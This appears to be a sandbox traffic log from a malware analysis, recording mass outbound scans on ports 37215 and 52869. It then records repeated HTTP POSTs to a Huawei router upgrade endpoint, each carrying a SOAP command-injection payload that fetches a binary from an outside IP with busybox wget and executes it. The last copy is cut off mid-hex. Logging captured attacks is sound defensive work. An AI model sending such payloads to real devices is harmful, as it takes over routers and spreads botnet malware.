Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.170.86.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.93.150.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.38.128.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.166.65.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.118.189.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.1.142.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.70.221.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.97.190.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.234.244.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.133.130.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.39.33.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.169.221.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.142.203.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.76.127.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.131.55.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.89.86.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.17.223.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.132.108.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.122.28.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.248.198.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.14.22.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.16.222.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.36.131.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.14.72.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.76.128.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.130.161.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.66.42.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.187.237.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.68.169.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.209.140.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.60.193.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.246.105.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.99.150.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.196.118.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.73.153.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.46.231.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.127.162.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.127.137.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.48.9.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.18.81.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.106.146.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.100.48.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.147.35.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.132.100.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.113.111.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.15.219.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.196.176.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.35.197.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.135.60.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.49.70.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.105.81.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.42.248.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.214.0.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.33.215.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.246.142.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.29.20.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.37.188.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.89.173.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.179.59.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.83.103.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.90.49.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.232.154.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.251.217.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.54.168.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.34.144.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.182.44.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.127.38.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.97.166.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.110.100.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.46.210.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.30.70.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.126.207.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.170.229.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.251.151.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.122.160.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.91.56.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.183.182.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.195.148.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.145.5.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.93.13.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.245.24.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.97.250.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.209.94.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.194.133.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.202.224.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.10.22.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.119.182.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.12.51.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.43.179.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.190.205.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.216.74.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.218.13.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.205.33.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.242.246.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.140.98.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.220.220.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.38.238.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.12.51.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.94.90.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.128.125.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.225.172.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.5.44.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.97.6.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.190.235.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.248.29.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 41.136.37.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 197.253.146.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.189.214.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:60275 -> 156.174.19.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.169.164.75:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.103.209.188:52869
Source: global traffic	TCP traffic: 192.168.2.14:60019 -> 41.174.40.11:52869

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 